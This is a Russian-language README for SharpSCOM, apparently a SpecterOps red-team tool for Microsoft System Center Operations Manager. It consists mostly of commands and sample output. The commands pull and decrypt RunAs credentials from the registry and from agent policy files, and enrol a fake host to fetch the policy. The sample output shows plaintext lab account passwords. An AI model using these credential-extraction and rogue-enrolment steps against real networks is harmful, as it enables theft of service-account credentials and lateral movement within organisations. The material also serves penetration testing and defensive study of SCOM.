
Утилита на C# для взаимодействия с SCOM
C#-инструмент для взаимодействия с Microsoft System Center Operations Manager (SCOM).
Инструмент протестирован с сервером SCOM версии 10.22.10118.0.
Интеграция SSPI реализована с помощью библиотеки nsspi Кевина Томпсона (antiduh), распространяемой под лицензией BSD-2.
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
Usage: SharpSCOM <command> [options]
Commands:
RegisterAgent Register a new agent with SCOM server
RegisterCertificate Assign a certificate to an existing agent
RequestPolicy Request policy from SCOM server
DownloadPolicy Download policy from SCOM server
AutoEnroll Send a multi-part request consisting of RegisterAgent, RegisterCertificate and RequestPolicy and attempt to automatically download the policy
DecryptPolicy Decrypt SecureData section from a policy file
DecryptRunAs Extract and decrypt RunAs credentials from registry
Common Options:
/hostname:<name> Computer hostname (default: current machine)
/managementgroup:<mg> SCOM management group name
/server:<server> SCOM server address
/port:<port> SCOM server port (default: 5723)
/outfile:<file> Output file path
/data:<base64> Base64-encoded data
/key:<xml> RSA private key in XML format
/verbose Enable verbose output
/help Show this help message
Examples:
SharpSCOM AutoEnroll /managementgroup:MG1 /server:scom.domain.com
SharpSCOM DecryptPolicy /data:<base64> /outfile:policy.xml
SharpSCOM DecryptRunAs
Следующие команды предназначены для запуска на сервере, который в настоящее время зарегистрирован в SCOM. Если используются учётные данные RunAs и они были распространены на сервер, с помощью приведённых ниже команд можно восстановить их в открытом виде.
Извлекает и расшифровывает учётные данные RunAs из реестра (требуются права локального администратора):
SharpSCOM.exe decryptrunas
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Searching for RunAs credentials in registry...
[+] Found 4 credentials
Username: ludus\opsmgr_action
Password: Password123
Username: ludus\opsmgr_dataread
Password: Password123
Username: ludus\opsmgr_datawrite
Password: Password123
Username: ludus\runas_account
Password: SuperSecure!
[+] Completed
Извлекает и расшифровывает учётные данные RunAs, хранящиеся в разделе SecureData XML-файла политики агента. По умолчанию этот файл находится по пути C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config
Эта команда найдёт текущий сертификат RunAs SCOM в хранилище Local Machine\Microsoft Monitoring Agent и использует связанный закрытый ключ для расшифровки.
SharpSCOM DecryptPolicy /data:<base64-encrypted-data>
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1
[+] Attempting to decrypt policy data...
[+] Using certificate from store
[+] Found certificate in Microsoft Monitoring Agent store
[+] Subject: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Issuer: O=Microsoft, OU=RunAs Account Encryption, CN=scom-db.ludus.domain
[+] Thumbprint: 88D3E2AC575795E5F5F0E0C2EAFFB5FC386EA52F
[+] Key Size: 2048
[+] RSA key loaded successfully from certificate
[+] SecureData decrypted successfully!
<SecureStorageContainer><SecureStorageReferences><Added><SecureStorageReference Identity="63745834-3e54-936c-1b47-2d632054a177"><TargetSSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</TargetSSID></SecureStorageReference></Added><Removed /><Modified /></SecureStorageReferences><SecureStorageElements><Added><SecureStorageElement Type="WindowsCredential"><SSID>00C29753F0583B2A1D9D0D81DF24F0FBA31D72B17A00000000000000000000000000000000000000</SSID><Domain>ludus</Domain><UserName>runas_account</UserName><Password>UwB1AHAAZQByAFMAZQBjAHUAcgBlACEA</Password></SecureStorageElement><SecureStorageElement Type="ActionAccountCredential"><SSID>01020202020202020202020202020202020202020200000000000000000000000000000000000000</SSID><Domain>NT Authority</Domain><UserName>LocalSystem</UserName></SecureStorageElement></Added><Removed /><Modified /></SecureStorageElements></SecureStorageContainer>
Если у нас есть контроль над хостом, входящим в домен, но не зарегистрированным в SCOM, мы можем попытаться зарегистрировать устройство и запросить XML-файл политики агента при выполнении следующих требований.
Требования:
Для регистрации нового устройства агент SCOM отправляет на сервер SCOM каждое из 4 приведённых ниже сообщений.
| Команда | Описание |
|---|---|
RegisterAgent | Регистрирует нового агента на сервере SCOM |
RegisterCertificate | Назначает сертификат существующему агенту |
RequestPolicy | Запрашивает политику с сервера SCOM |
DownloadPolicy | Загружает политику с сервера SCOM |
В целях тестирования каждое из указанных выше сообщений можно отправить на сервер SCOM по отдельности с помощью соответствующей команды SharpSCOM.
Примечание: сервер SCOM ожидает получения этих сообщений вместе в рамках многокомпонентного запроса. Чтобы гарантированно получить файл политики агента, необходимо использовать команду
AutoEnroll, которая отправляет командыRegisterAgent,RegisterCertificateиRequestPolicyвместе как одно многокомпонентное сообщение.
После отправки команды AutoEnroll ответ сервера SCOM автоматически анализируется и используется для формирования финального сообщения DownloadPolicy, позволяющего загрузить XML-файл политики агента.
SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom-om1.ludus.domain /hostname:fake1.ludus.domain /outfile:C:\Users\domainadmin\desktop\policy_new.xml
█▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█
▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █
Author: Matt Johnson (@breakfix) - SpecterOps - v0.0.1